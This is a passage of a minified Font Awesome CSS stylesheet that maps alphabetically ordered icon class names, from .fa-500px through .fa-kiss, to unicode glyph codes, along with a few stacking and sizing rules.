.fa-rotate-270{-webkit-filter:none;filter:none}.fa-stack{display:inline-block;height:2em;line-height:2em;position:relative;vertical-align:middle;width:2.5em}.fa-stack-1x,.fa-stack-2x{left:0;position:absolute;text-align:center;width:100%}.fa-stack-1x{line-height:inherit}.fa-stack-2x{font-size:2em}.fa-inverse{color:#fff}.fa-500px:before{content:"\f26e"}.fa-accessible-icon:before{content:"\f368"}.fa-accusoft:before{content:"\f369"}.fa-acquisitions-incorporated:before{content:"\f6af"}.fa-ad:before{content:"\f641"}.fa-address-book:before{content:"\f2b9"}.fa-address-card:before{content:"\f2bb"}.fa-adjust:before{content:"\f042"}.fa-adn:before{content:"\f170"}.fa-adobe:before{content:"\f778"}.fa-adversal:before{content:"\f36a"}.fa-affiliatetheme:before{content:"\f36b"}.fa-air-freshener:before{content:"\f5d0"}.fa-airbnb:before{content:"\f834"}.fa-algolia:before{content:"\f36c"}.fa-align-center:before{content:"\f037"}.fa-align-justify:before{content:"\f039"}.fa-align-left:before{content:"\f036"}.fa-align-right:before{content:"\f038"}.fa-alipay:before{content:"\f642"}.fa-allergies:before{content:"\f461"}.fa-amazon:before{content:"\f270"}.fa-amazon-pay:before{content:"\f42c"}.fa-ambulance:before{content:"\f0f9"}.fa-american-sign-language-interpreting:before{content:"\f2a3"}.fa-amilia:before{content:"\f36d"}.fa-anchor:before{content:"\f13d"}.fa-android:before{content:"\f17b"}.fa-angellist:before{content:"\f209"}.fa-angle-double-down:before{content:"\f103"}.fa-angle-double-left:before{content:"\f100"}.fa-angle-double-right:before{content:"\f101"}.fa-angle-double-up:before{content:"\f102"}.fa-angle-down:before{content:"\f107"}.fa-angle-left:before{content:"\f104"}.fa-angle-right:before{content:"\f105"}.fa-angle-up:before{content:"\f106"}.fa-angry:before{content:"\f556"}.fa-angrycreative:before{content:"\f36e"}.fa-angular:before{content:"\f420"}.fa-ankh:before{content:"\f644"}.fa-app-store:before{content:"\f36f"}.fa-app-store-ios:before{content:"\f370"}.fa-apper:before{content:"\f371"}.fa-apple:before{content:"\f179"}.fa-apple-alt:before{content:"\f5d1"}.fa-apple-pay:before{content:"\f415"}.fa-archive:before{content:"\f187"}.fa-archway:before{content:"\f557"}.fa-arrow-alt-circle-down:before{content:"\f358"}.fa-arrow-alt-circle-left:before{content:"\f359"}.fa-arrow-alt-circle-right:before{content:"\f35a"}.fa-arrow-alt-circle-up:before{content:"\f35b"}.fa-arrow-circle-down:before{content:"\f0ab"}.fa-arrow-circle-left:before{content:"\f0a8"}.fa-arrow-circle-right:before{content:"\f0a9"}.fa-arrow-circle-up:before{content:"\f0aa"}.fa-arrow-down:before{content:"\f063"}.fa-arrow-left:before{content:"\f060"}.fa-arrow-right:before{content:"\f061"}.fa-arrow-up:before{content:"\f062"}.fa-arrows-alt:before{content:"\f0b2"}.fa-arrows-alt-h:before{content:"\f337"}.fa-arrows-alt-v:before{content:"\f338"}.fa-artstation:before{content:"\f77a"}.fa-assistive-listening-systems:before{content:"\f2a2"}.fa-asterisk:before{content:"\f069"}.fa-asymmetrik:before{content:"\f372"}.fa-at:before{content:"\f1fa"}.fa-atlas:before{content:"\f558"}.fa-atlassian:before{content:"\f77b"}.fa-atom:before{content:"\f5d2"}.fa-audible:before{content:"\f373"}.fa-audio-description:before{content:"\f29e"}.fa-autoprefixer:before{content:"\f41c"}.fa-avianex:before{content:"\f374"}.fa-aviato:before{content:"\f421"}.fa-award:before{content:"\f559"}.fa-aws:before{content:"\f375"}.fa-baby:before{content:"\f77c"}.fa-baby-carriage:before{content:"\f77d"}.fa-backspace:before{content:"\f55a"}.fa-backward:before{content:"\f04a"}.fa-bacon:before{content:"\f7e5"}.fa-bahai:before{content:"\f666"}.fa-balance-scale:before{content:"\f24e"}.fa-balance-scale-left:before{content:"\f515"}.fa-balance-scale-right:before{content:"\f516"}.fa-ban:before{content:"\f05e"}.fa-band-aid:before{content:"\f462"}.fa-bandcamp:before{content:"\f2d5"}.fa-barcode:before{content:"\f02a"}.fa-bars:before{content:"\f0c9"}.fa-baseball-ball:before{content:"\f433"}.fa-basketball-ball:before{content:"\f434"}.fa-bath:before{content:"\f2cd"}.fa-battery-empty:before{content:"\f244"}.fa-battery-full:before{content:"\f240"}.fa-battery-half:before{content:"\f242"}.fa-battery-quarter:before{content:"\f243"}.fa-battery-three-quarters:before{content:"\f241"}.fa-battle-net:before{content:"\f835"}.fa-bed:before{content:"\f236"}.fa-beer:before{content:"\f0fc"}.fa-behance:before{content:"\f1b4"}.fa-behance-square:before{content:"\f1b5"}.fa-bell:before{content:"\f0f3"}.fa-bell-slash:before{content:"\f1f6"}.fa-bezier-curve:before{content:"\f55b"}.fa-bible:before{content:"\f647"}.fa-bicycle:before{content:"\f206"}.fa-biking:before{content:"\f84a"}.fa-bimobject:before{content:"\f378"}.fa-binoculars:before{content:"\f1e5"}.fa-biohazard:before{content:"\f780"}.fa-birthday-cake:before{content:"\f1fd"}.fa-bitbucket:before{content:"\f171"}.fa-bitcoin:before{content:"\f379"}.fa-bity:before{content:"\f37a"}.fa-black-tie:before{content:"\f27e"}.fa-blackberry:before{content:"\f37b"}.fa-blender:before{content:"\f517"}.fa-blender-phone:before{content:"\f6b6"}.fa-blind:before{content:"\f29d"}.fa-blog:before{content:"\f781"}.fa-blogger:before{content:"\f37c"}.fa-blogger-b:before{content:"\f37d"}.fa-bluetooth:before{content:"\f293"}.fa-bluetooth-b:before{content:"\f294"}.fa-bold:before{content:"\f032"}.fa-bolt:before{content:"\f0e7"}.fa-bomb:before{content:"\f1e2"}.fa-bone:before{content:"\f5d7"}.fa-bong:before{content:"\f55c"}.fa-book:before{content:"\f02d"}.fa-book-dead:before{content:"\f6b7"}.fa-book-medical:before{content:"\f7e6"}.fa-book-open:before{content:"\f518"}.fa-book-reader:before{content:"\f5da"}.fa-bookmark:before{content:"\f02e"}.fa-bootstrap:before{content:"\f836"}.fa-border-all:before{content:"\f84c"}.fa-border-none:before{content:"\f850"}.fa-border-style:before{content:"\f853"}.fa-bowling-ball:before{content:"\f436"}.fa-box:before{content:"\f466"}.fa-box-open:before{content:"\f49e"}.fa-box-tissue:before{content:"\f95b"}.fa-boxes:before{content:"\f468"}.fa-braille:before{content:"\f2a1"}.fa-brain:before{content:"\f5dc"}.fa-bread-slice:before{content:"\f7ec"}.fa-briefcase:before{content:"\f0b1"}.fa-briefcase-medical:before{content:"\f469"}.fa-broadcast-tower:before{content:"\f519"}.fa-broom:before{content:"\f51a"}.fa-brush:before{content:"\f55d"}.fa-btc:before{content:"\f15a"}.fa-buffer:before{content:"\f837"}.fa-bug:before{content:"\f188"}.fa-building:before{content:"\f1ad"}.fa-bullhorn:before{content:"\f0a1"}.fa-bullseye:before{content:"\f140"}.fa-burn:before{content:"\f46a"}.fa-buromobelexperte:before{content:"\f37f"}.fa-bus:before{content:"\f207"}.fa-bus-alt:before{content:"\f55e"}.fa-business-time:before{content:"\f64a"}.fa-buy-n-large:before{content:"\f8a6"}.fa-buysellads:before{content:"\f20d"}.fa-calculator:before{content:"\f1ec"}.fa-calendar:before{content:"\f133"}.fa-calendar-alt:before{content:"\f073"}.fa-calendar-check:before{content:"\f274"}.fa-calendar-day:before{content:"\f783"}.fa-calendar-minus:before{content:"\f272"}.fa-calendar-plus:before{content:"\f271"}.fa-calendar-times:before{content:"\f273"}.fa-calendar-week:before{content:"\f784"}.fa-camera:before{content:"\f030"}.fa-camera-retro:before{content:"\f083"}.fa-campground:before{content:"\f6bb"}.fa-canadian-maple-leaf:before{content:"\f785"}.fa-candy-cane:before{content:"\f786"}.fa-cannabis:before{content:"\f55f"}.fa-capsules:before{content:"\f46b"}.fa-car:before{content:"\f1b9"}.fa-car-alt:before{content:"\f5de"}.fa-car-battery:before{content:"\f5df"}.fa-car-crash:before{content:"\f5e1"}.fa-car-side:before{content:"\f5e4"}.fa-caravan:before{content:"\f8ff"}.fa-caret-down:before{content:"\f0d7"}.fa-caret-left:before{content:"\f0d9"}.fa-caret-right:before{content:"\f0da"}.fa-caret-square-down:before{content:"\f150"}.fa-caret-square-left:before{content:"\f191"}.fa-caret-square-right:before{content:"\f152"}.fa-caret-square-up:before{content:"\f151"}.fa-caret-up:before{content:"\f0d8"}.fa-carrot:before{content:"\f787"}.fa-cart-arrow-down:before{content:"\f218"}.fa-cart-plus:before{content:"\f217"}.fa-cash-register:before{content:"\f788"}.fa-cat:before{content:"\f6be"}.fa-cc-amazon-pay:before{content:"\f42d"}.fa-cc-amex:before{content:"\f1f3"}.fa-cc-apple-pay:before{content:"\f416"}.fa-cc-diners-club:before{content:"\f24c"}.fa-cc-discover:before{content:"\f1f2"}.fa-cc-jcb:before{content:"\f24b"}.fa-cc-mastercard:before{content:"\f1f1"}.fa-cc-paypal:before{content:"\f1f4"}.fa-cc-stripe:before{content:"\f1f5"}.fa-cc-visa:before{content:"\f1f0"}.fa-centercode:before{content:"\f380"}.fa-centos:before{content:"\f789"}.fa-certificate:before{content:"\f0a3"}.fa-chair:before{content:"\f6c0"}.fa-chalkboard:before{content:"\f51b"}.fa-chalkboard-teacher:before{content:"\f51c"}.fa-charging-station:before{content:"\f5e7"}.fa-chart-area:before{content:"\f1fe"}.fa-chart-bar:before{content:"\f080"}.fa-chart-line:before{content:"\f201"}.fa-chart-pie:before{content:"\f200"}.fa-check:before{content:"\f00c"}.fa-check-circle:before{content:"\f058"}.fa-check-double:before{content:"\f560"}.fa-check-square:before{content:"\f14a"}.fa-cheese:before{content:"\f7ef"}.fa-chess:before{content:"\f439"}.fa-chess-bishop:before{content:"\f43a"}.fa-chess-board:before{content:"\f43c"}.fa-chess-king:before{content:"\f43f"}.fa-chess-knight:before{content:"\f441"}.fa-chess-pawn:before{content:"\f443"}.fa-chess-queen:before{content:"\f445"}.fa-chess-rook:before{content:"\f447"}.fa-chevron-circle-down:before{content:"\f13a"}.fa-chevron-circle-left:before{content:"\f137"}.fa-chevron-circle-right:before{content:"\f138"}.fa-chevron-circle-up:before{content:"\f139"}.fa-chevron-down:before{content:"\f078"}.fa-chevron-left:before{content:"\f053"}.fa-chevron-right:before{content:"\f054"}.fa-chevron-up:before{content:"\f077"}.fa-child:before{content:"\f1ae"}.fa-chrome:before{content:"\f268"}.fa-chromecast:before{content:"\f838"}.fa-church:before{content:"\f51d"}.fa-circle:before{content:"\f111"}.fa-circle-notch:before{content:"\f1ce"}.fa-city:before{content:"\f64f"}.fa-clinic-medical:before{content:"\f7f2"}.fa-clipboard:before{content:"\f328"}.fa-clipboard-check:before{content:"\f46c"}.fa-clipboard-list:before{content:"\f46d"}.fa-clock:before{content:"\f017"}.fa-clone:before{content:"\f24d"}.fa-closed-captioning:before{content:"\f20a"}.fa-cloud:before{content:"\f0c2"}.fa-cloud-download-alt:before{content:"\f381"}.fa-cloud-meatball:before{content:"\f73b"}.fa-cloud-moon:before{content:"\f6c3"}.fa-cloud-moon-rain:before{content:"\f73c"}.fa-cloud-rain:before{content:"\f73d"}.fa-cloud-showers-heavy:before{content:"\f740"}.fa-cloud-sun:before{content:"\f6c4"}.fa-cloud-sun-rain:before{content:"\f743"}.fa-cloud-upload-alt:before{content:"\f382"}.fa-cloudscale:before{content:"\f383"}.fa-cloudsmith:before{content:"\f384"}.fa-cloudversify:before{content:"\f385"}.fa-cocktail:before{content:"\f561"}.fa-code:before{content:"\f121"}.fa-code-branch:before{content:"\f126"}.fa-codepen:before{content:"\f1cb"}.fa-codiepie:before{content:"\f284"}.fa-coffee:before{content:"\f0f4"}.fa-cog:before{content:"\f013"}.fa-cogs:before{content:"\f085"}.fa-coins:before{content:"\f51e"}.fa-columns:before{content:"\f0db"}.fa-comment:before{content:"\f075"}.fa-comment-alt:before{content:"\f27a"}.fa-comment-dollar:before{content:"\f651"}.fa-comment-dots:before{content:"\f4ad"}.fa-comment-medical:before{content:"\f7f5"}.fa-comment-slash:before{content:"\f4b3"}.fa-comments:before{content:"\f086"}.fa-comments-dollar:before{content:"\f653"}.fa-compact-disc:before{content:"\f51f"}.fa-compass:before{content:"\f14e"}.fa-compress:before{content:"\f066"}.fa-compress-alt:before{content:"\f422"}.fa-compress-arrows-alt:before{content:"\f78c"}.fa-concierge-bell:before{content:"\f562"}.fa-confluence:before{content:"\f78d"}.fa-connectdevelop:before{content:"\f20e"}.fa-contao:before{content:"\f26d"}.fa-cookie:before{content:"\f563"}.fa-cookie-bite:before{content:"\f564"}.fa-copy:before{content:"\f0c5"}.fa-copyright:before{content:"\f1f9"}.fa-cotton-bureau:before{content:"\f89e"}.fa-couch:before{content:"\f4b8"}.fa-cpanel:before{content:"\f388"}.fa-creative-commons:before{content:"\f25e"}.fa-creative-commons-by:before{content:"\f4e7"}.fa-creative-commons-nc:before{content:"\f4e8"}.fa-creative-commons-nc-eu:before{content:"\f4e9"}.fa-creative-commons-nc-jp:before{content:"\f4ea"}.fa-creative-commons-nd:before{content:"\f4eb"}.fa-creative-commons-pd:before{content:"\f4ec"}.fa-creative-commons-pd-alt:before{content:"\f4ed"}.fa-creative-commons-remix:before{content:"\f4ee"}.fa-creative-commons-sa:before{content:"\f4ef"}.fa-creative-commons-sampling:before{content:"\f4f0"}.fa-creative-commons-sampling-plus:before{content:"\f4f1"}.fa-creative-commons-share:before{content:"\f4f2"}.fa-creative-commons-zero:before{content:"\f4f3"}.fa-credit-card:before{content:"\f09d"}.fa-critical-role:before{content:"\f6c9"}.fa-crop:before{content:"\f125"}.fa-crop-alt:before{content:"\f565"}.fa-cross:before{content:"\f654"}.fa-crosshairs:before{content:"\f05b"}.fa-crow:before{content:"\f520"}.fa-crown:before{content:"\f521"}.fa-crutch:before{content:"\f7f7"}.fa-css3:before{content:"\f13c"}.fa-css3-alt:before{content:"\f38b"}.fa-cube:before{content:"\f1b2"}.fa-cubes:before{content:"\f1b3"}.fa-cut:before{content:"\f0c4"}.fa-cuttlefish:before{content:"\f38c"}.fa-d-and-d:before{content:"\f38d"}.fa-d-and-d-beyond:before{content:"\f6ca"}.fa-dailymotion:before{content:"\f952"}.fa-dashcube:before{content:"\f210"}.fa-database:before{content:"\f1c0"}.fa-deaf:before{content:"\f2a4"}.fa-delicious:before{content:"\f1a5"}.fa-democrat:before{content:"\f747"}.fa-deploydog:before{content:"\f38e"}.fa-deskpro:before{content:"\f38f"}.fa-desktop:before{content:"\f108"}.fa-dev:before{content:"\f6cc"}.fa-deviantart:before{content:"\f1bd"}.fa-dharmachakra:before{content:"\f655"}.fa-dhl:before{content:"\f790"}.fa-diagnoses:before{content:"\f470"}.fa-diaspora:before{content:"\f791"}.fa-dice:before{content:"\f522"}.fa-dice-d20:before{content:"\f6cf"}.fa-dice-d6:before{content:"\f6d1"}.fa-dice-five:before{content:"\f523"}.fa-dice-four:before{content:"\f524"}.fa-dice-one:before{content:"\f525"}.fa-dice-six:before{content:"\f526"}.fa-dice-three:before{content:"\f527"}.fa-dice-two:before{content:"\f528"}.fa-digg:before{content:"\f1a6"}.fa-digital-ocean:before{content:"\f391"}.fa-digital-tachograph:before{content:"\f566"}.fa-directions:before{content:"\f5eb"}.fa-discord:before{content:"\f392"}.fa-discourse:before{content:"\f393"}.fa-disease:before{content:"\f7fa"}.fa-divide:before{content:"\f529"}.fa-dizzy:before{content:"\f567"}.fa-dna:before{content:"\f471"}.fa-dochub:before{content:"\f394"}.fa-docker:before{content:"\f395"}.fa-dog:before{content:"\f6d3"}.fa-dollar-sign:before{content:"\f155"}.fa-dolly:before{content:"\f472"}.fa-dolly-flatbed:before{content:"\f474"}.fa-donate:before{content:"\f4b9"}.fa-door-closed:before{content:"\f52a"}.fa-door-open:before{content:"\f52b"}.fa-dot-circle:before{content:"\f192"}.fa-dove:before{content:"\f4ba"}.fa-download:before{content:"\f019"}.fa-draft2digital:before{content:"\f396"}.fa-drafting-compass:before{content:"\f568"}.fa-dragon:before{content:"\f6d5"}.fa-draw-polygon:before{content:"\f5ee"}.fa-dribbble:before{content:"\f17d"}.fa-dribbble-square:before{content:"\f397"}.fa-dropbox:before{content:"\f16b"}.fa-drum:before{content:"\f569"}.fa-drum-steelpan:before{content:"\f56a"}.fa-drumstick-bite:before{content:"\f6d7"}.fa-drupal:before{content:"\f1a9"}.fa-dumbbell:before{content:"\f44b"}.fa-dumpster:before{content:"\f793"}.fa-dumpster-fire:before{content:"\f794"}.fa-dungeon:before{content:"\f6d9"}.fa-dyalog:before{content:"\f399"}.fa-earlybirds:before{content:"\f39a"}.fa-ebay:before{content:"\f4f4"}.fa-edge:before{content:"\f282"}.fa-edit:before{content:"\f044"}.fa-egg:before{content:"\f7fb"}.fa-eject:before{content:"\f052"}.fa-elementor:before{content:"\f430"}.fa-ellipsis-h:before{content:"\f141"}.fa-ellipsis-v:before{content:"\f142"}.fa-ello:before{content:"\f5f1"}.fa-ember:before{content:"\f423"}.fa-empire:before{content:"\f1d1"}.fa-envelope:before{content:"\f0e0"}.fa-envelope-open:before{content:"\f2b6"}.fa-envelope-open-text:before{content:"\f658"}.fa-envelope-square:before{content:"\f199"}.fa-envira:before{content:"\f299"}.fa-equals:before{content:"\f52c"}.fa-eraser:before{content:"\f12d"}.fa-erlang:before{content:"\f39d"}.fa-ethereum:before{content:"\f42e"}.fa-ethernet:before{content:"\f796"}.fa-etsy:before{content:"\f2d7"}.fa-euro-sign:before{content:"\f153"}.fa-evernote:before{content:"\f839"}.fa-exchange-alt:before{content:"\f362"}.fa-exclamation:before{content:"\f12a"}.fa-exclamation-circle:before{content:"\f06a"}.fa-exclamation-triangle:before{content:"\f071"}.fa-expand:before{content:"\f065"}.fa-expand-alt:before{content:"\f424"}.fa-expand-arrows-alt:before{content:"\f31e"}.fa-expeditedssl:before{content:"\f23e"}.fa-external-link-alt:before{content:"\f35d"}.fa-external-link-square-alt:before{content:"\f360"}.fa-eye:before{content:"\f06e"}.fa-eye-dropper:before{content:"\f1fb"}.fa-eye-slash:before{content:"\f070"}.fa-facebook:before{content:"\f09a"}.fa-facebook-f:before{content:"\f39e"}.fa-facebook-messenger:before{content:"\f39f"}.fa-facebook-square:before{content:"\f082"}.fa-fan:before{content:"\f863"}.fa-fantasy-flight-games:before{content:"\f6dc"}.fa-fast-backward:before{content:"\f049"}.fa-fast-forward:before{content:"\f050"}.fa-faucet:before{content:"\f905"}.fa-fax:before{content:"\f1ac"}.fa-feather:before{content:"\f52d"}.fa-feather-alt:before{content:"\f56b"}.fa-fedex:before{content:"\f797"}.fa-fedora:before{content:"\f798"}.fa-female:before{content:"\f182"}.fa-fighter-jet:before{content:"\f0fb"}.fa-figma:before{content:"\f799"}.fa-file:before{content:"\f15b"}.fa-file-alt:before{content:"\f15c"}.fa-file-archive:before{content:"\f1c6"}.fa-file-audio:before{content:"\f1c7"}.fa-file-code:before{content:"\f1c9"}.fa-file-contract:before{content:"\f56c"}.fa-file-csv:before{content:"\f6dd"}.fa-file-download:before{content:"\f56d"}.fa-file-excel:before{content:"\f1c3"}.fa-file-export:before{content:"\f56e"}.fa-file-image:before{content:"\f1c5"}.fa-file-import:before{content:"\f56f"}.fa-file-invoice:before{content:"\f570"}.fa-file-invoice-dollar:before{content:"\f571"}.fa-file-medical:before{content:"\f477"}.fa-file-medical-alt:before{content:"\f478"}.fa-file-pdf:before{content:"\f1c1"}.fa-file-powerpoint:before{content:"\f1c4"}.fa-file-prescription:before{content:"\f572"}.fa-file-signature:before{content:"\f573"}.fa-file-upload:before{content:"\f574"}.fa-file-video:before{content:"\f1c8"}.fa-file-word:before{content:"\f1c2"}.fa-fill:before{content:"\f575"}.fa-fill-drip:before{content:"\f576"}.fa-film:before{content:"\f008"}.fa-filter:before{content:"\f0b0"}.fa-fingerprint:before{content:"\f577"}.fa-fire:before{content:"\f06d"}.fa-fire-alt:before{content:"\f7e4"}.fa-fire-extinguisher:before{content:"\f134"}.fa-firefox:before{content:"\f269"}.fa-firefox-browser:before{content:"\f907"}.fa-first-aid:before{content:"\f479"}.fa-first-order:before{content:"\f2b0"}.fa-first-order-alt:before{content:"\f50a"}.fa-firstdraft:before{content:"\f3a1"}.fa-fish:before{content:"\f578"}.fa-fist-raised:before{content:"\f6de"}.fa-flag:before{content:"\f024"}.fa-flag-checkered:before{content:"\f11e"}.fa-flag-usa:before{content:"\f74d"}.fa-flask:before{content:"\f0c3"}.fa-flickr:before{content:"\f16e"}.fa-flipboard:before{content:"\f44d"}.fa-flushed:before{content:"\f579"}.fa-fly:before{content:"\f417"}.fa-folder:before{content:"\f07b"}.fa-folder-minus:before{content:"\f65d"}.fa-folder-open:before{content:"\f07c"}.fa-folder-plus:before{content:"\f65e"}.fa-font:before{content:"\f031"}.fa-font-awesome:before{content:"\f2b4"}.fa-font-awesome-alt:before{content:"\f35c"}.fa-font-awesome-flag:before{content:"\f425"}.fa-font-awesome-logo-full:before{content:"\f4e6"}.fa-fonticons:before{content:"\f280"}.fa-fonticons-fi:before{content:"\f3a2"}.fa-football-ball:before{content:"\f44e"}.fa-fort-awesome:before{content:"\f286"}.fa-fort-awesome-alt:before{content:"\f3a3"}.fa-forumbee:before{content:"\f211"}.fa-forward:before{content:"\f04e"}.fa-foursquare:before{content:"\f180"}.fa-free-code-camp:before{content:"\f2c5"}.fa-freebsd:before{content:"\f3a4"}.fa-frog:before{content:"\f52e"}.fa-frown:before{content:"\f119"}.fa-frown-open:before{content:"\f57a"}.fa-fulcrum:before{content:"\f50b"}.fa-funnel-dollar:before{content:"\f662"}.fa-futbol:before{content:"\f1e3"}.fa-galactic-republic:before{content:"\f50c"}.fa-galactic-senate:before{content:"\f50d"}.fa-gamepad:before{content:"\f11b"}.fa-gas-pump:before{content:"\f52f"}.fa-gavel:before{content:"\f0e3"}.fa-gem:before{content:"\f3a5"}.fa-genderless:before{content:"\f22d"}.fa-get-pocket:before{content:"\f265"}.fa-gg:before{content:"\f260"}.fa-gg-circle:before{content:"\f261"}.fa-ghost:before{content:"\f6e2"}.fa-gift:before{content:"\f06b"}.fa-gifts:before{content:"\f79c"}.fa-git:before{content:"\f1d3"}.fa-git-alt:before{content:"\f841"}.fa-git-square:before{content:"\f1d2"}.fa-github:before{content:"\f09b"}.fa-github-alt:before{content:"\f113"}.fa-github-square:before{content:"\f092"}.fa-gitkraken:before{content:"\f3a6"}.fa-gitlab:before{content:"\f296"}.fa-gitter:before{content:"\f426"}.fa-glass-cheers:before{content:"\f79f"}.fa-glass-martini:before{content:"\f000"}.fa-glass-martini-alt:before{content:"\f57b"}.fa-glass-whiskey:before{content:"\f7a0"}.fa-glasses:before{content:"\f530"}.fa-glide:before{content:"\f2a5"}.fa-glide-g:before{content:"\f2a6"}.fa-globe:before{content:"\f0ac"}.fa-globe-africa:before{content:"\f57c"}.fa-globe-americas:before{content:"\f57d"}.fa-globe-asia:before{content:"\f57e"}.fa-globe-europe:before{content:"\f7a2"}.fa-gofore:before{content:"\f3a7"}.fa-golf-ball:before{content:"\f450"}.fa-goodreads:before{content:"\f3a8"}.fa-goodreads-g:before{content:"\f3a9"}.fa-google:before{content:"\f1a0"}.fa-google-drive:before{content:"\f3aa"}.fa-google-play:before{content:"\f3ab"}.fa-google-plus:before{content:"\f2b3"}.fa-google-plus-g:before{content:"\f0d5"}.fa-google-plus-square:before{content:"\f0d4"}.fa-google-wallet:before{content:"\f1ee"}.fa-gopuram:before{content:"\f664"}.fa-graduation-cap:before{content:"\f19d"}.fa-gratipay:before{content:"\f184"}.fa-grav:before{content:"\f2d6"}.fa-greater-than:before{content:"\f531"}.fa-greater-than-equal:before{content:"\f532"}.fa-grimace:before{content:"\f57f"}.fa-grin:before{content:"\f580"}.fa-grin-alt:before{content:"\f581"}.fa-grin-beam:before{content:"\f582"}.fa-grin-beam-sweat:before{content:"\f583"}.fa-grin-hearts:before{content:"\f584"}.fa-grin-squint:before{content:"\f585"}.fa-grin-squint-tears:before{content:"\f586"}.fa-grin-stars:before{content:"\f587"}.fa-grin-tears:before{content:"\f588"}.fa-grin-tongue:before{content:"\f589"}.fa-grin-tongue-squint:before{content:"\f58a"}.fa-grin-tongue-wink:before{content:"\f58b"}.fa-grin-wink:before{content:"\f58c"}.fa-grip-horizontal:before{content:"\f58d"}.fa-grip-lines:before{content:"\f7a4"}.fa-grip-lines-vertical:before{content:"\f7a5"}.fa-grip-vertical:before{content:"\f58e"}.fa-gripfire:before{content:"\f3ac"}.fa-grunt:before{content:"\f3ad"}.fa-guitar:before{content:"\f7a6"}.fa-gulp:before{content:"\f3ae"}.fa-h-square:before{content:"\f0fd"}.fa-hacker-news:before{content:"\f1d4"}.fa-hacker-news-square:before{content:"\f3af"}.fa-hackerrank:before{content:"\f5f7"}.fa-hamburger:before{content:"\f805"}.fa-hammer:before{content:"\f6e3"}.fa-hamsa:before{content:"\f665"}.fa-hand-holding:before{content:"\f4bd"}.fa-hand-holding-heart:before{content:"\f4be"}.fa-hand-holding-medical:before{content:"\f95c"}.fa-hand-holding-usd:before{content:"\f4c0"}.fa-hand-holding-water:before{content:"\f4c1"}.fa-hand-lizard:before{content:"\f258"}.fa-hand-middle-finger:before{content:"\f806"}.fa-hand-paper:before{content:"\f256"}.fa-hand-peace:before{content:"\f25b"}.fa-hand-point-down:before{content:"\f0a7"}.fa-hand-point-left:before{content:"\f0a5"}.fa-hand-point-right:before{content:"\f0a4"}.fa-hand-point-up:before{content:"\f0a6"}.fa-hand-pointer:before{content:"\f25a"}.fa-hand-rock:before{content:"\f255"}.fa-hand-scissors:before{content:"\f257"}.fa-hand-sparkles:before{content:"\f95d"}.fa-hand-spock:before{content:"\f259"}.fa-hands:before{content:"\f4c2"}.fa-hands-helping:before{content:"\f4c4"}.fa-hands-wash:before{content:"\f95e"}.fa-handshake:before{content:"\f2b5"}.fa-handshake-alt-slash:before{content:"\f95f"}.fa-handshake-slash:before{content:"\f960"}.fa-hanukiah:before{content:"\f6e6"}.fa-hard-hat:before{content:"\f807"}.fa-hashtag:before{content:"\f292"}.fa-hat-cowboy:before{content:"\f8c0"}.fa-hat-cowboy-side:before{content:"\f8c1"}.fa-hat-wizard:before{content:"\f6e8"}.fa-hdd:before{content:"\f0a0"}.fa-head-side-cough:before{content:"\f961"}.fa-head-side-cough-slash:before{content:"\f962"}.fa-head-side-mask:before{content:"\f963"}.fa-head-side-virus:before{content:"\f964"}.fa-heading:before{content:"\f1dc"}.fa-headphones:before{content:"\f025"}.fa-headphones-alt:before{content:"\f58f"}.fa-headset:before{content:"\f590"}.fa-heart:before{content:"\f004"}.fa-heart-broken:before{content:"\f7a9"}.fa-heartbeat:before{content:"\f21e"}.fa-helicopter:before{content:"\f533"}.fa-highlighter:before{content:"\f591"}.fa-hiking:before{content:"\f6ec"}.fa-hippo:before{content:"\f6ed"}.fa-hips:before{content:"\f452"}.fa-hire-a-helper:before{content:"\f3b0"}.fa-history:before{content:"\f1da"}.fa-hockey-puck:before{content:"\f453"}.fa-holly-berry:before{content:"\f7aa"}.fa-home:before{content:"\f015"}.fa-hooli:before{content:"\f427"}.fa-hornbill:before{content:"\f592"}.fa-horse:before{content:"\f6f0"}.fa-horse-head:before{content:"\f7ab"}.fa-hospital:before{content:"\f0f8"}.fa-hospital-alt:before{content:"\f47d"}.fa-hospital-symbol:before{content:"\f47e"}.fa-hospital-user:before{content:"\f80d"}.fa-hot-tub:before{content:"\f593"}.fa-hotdog:before{content:"\f80f"}.fa-hotel:before{content:"\f594"}.fa-hotjar:before{content:"\f3b1"}.fa-hourglass:before{content:"\f254"}.fa-hourglass-end:before{content:"\f253"}.fa-hourglass-half:before{content:"\f252"}.fa-hourglass-start:before{content:"\f251"}.fa-house-damage:before{content:"\f6f1"}.fa-house-user:before{content:"\f965"}.fa-houzz:before{content:"\f27c"}.fa-hryvnia:before{content:"\f6f2"}.fa-html5:before{content:"\f13b"}.fa-hubspot:before{content:"\f3b2"}.fa-i-cursor:before{content:"\f246"}.fa-ice-cream:before{content:"\f810"}.fa-icicles:before{content:"\f7ad"}.fa-icons:before{content:"\f86d"}.fa-id-badge:before{content:"\f2c1"}.fa-id-card:before{content:"\f2c2"}.fa-id-card-alt:before{content:"\f47f"}.fa-ideal:before{content:"\f913"}.fa-igloo:before{content:"\f7ae"}.fa-image:before{content:"\f03e"}.fa-images:before{content:"\f302"}.fa-imdb:before{content:"\f2d8"}.fa-inbox:before{content:"\f01c"}.fa-indent:before{content:"\f03c"}.fa-industry:before{content:"\f275"}.fa-infinity:before{content:"\f534"}.fa-info:before{content:"\f129"}.fa-info-circle:before{content:"\f05a"}.fa-instagram:before{content:"\f16d"}.fa-instagram-square:before{content:"\f955"}.fa-intercom:before{content:"\f7af"}.fa-internet-explorer:before{content:"\f26b"}.fa-invision:before{content:"\f7b0"}.fa-ioxhost:before{content:"\f208"}.fa-italic:before{content:"\f033"}.fa-itch-io:before{content:"\f83a"}.fa-itunes:before{content:"\f3b4"}.fa-itunes-note:before{content:"\f3b5"}.fa-java:before{content:"\f4e4"}.fa-jedi:before{content:"\f669"}.fa-jedi-order:before{content:"\f50e"}.fa-jenkins:before{content:"\f3b6"}.fa-jira:before{content:"\f7b1"}.fa-joget:before{content:"\f3b7"}.fa-joint:before{content:"\f595"}.fa-joomla:before{content:"\f1aa"}.fa-journal-whills:before{content:"\f66a"}.fa-js:before{content:"\f3b8"}.fa-js-square:before{content:"\f3b9"}.fa-jsfiddle:before{content:"\f1cc"}.fa-kaaba:before{content:"\f66b"}.fa-kaggle:before{content:"\f5fa"}.fa-key:before{content:"\f084"}.fa-keybase:before{content:"\f4f5"}.fa-keyboard:before{content:"\f11c"}.fa-keycdn:before{content:"\f3ba"}.fa-khanda:before{content:"\f66d"}.fa-kickstarter:before{content:"\f3bb"}.fa-kickstarter-k:before{content:"\f3bc"}.fa-kiss:before{content:"\f596"}.fa-kiss-beam:before{content:"\f597"}.fa-kiss-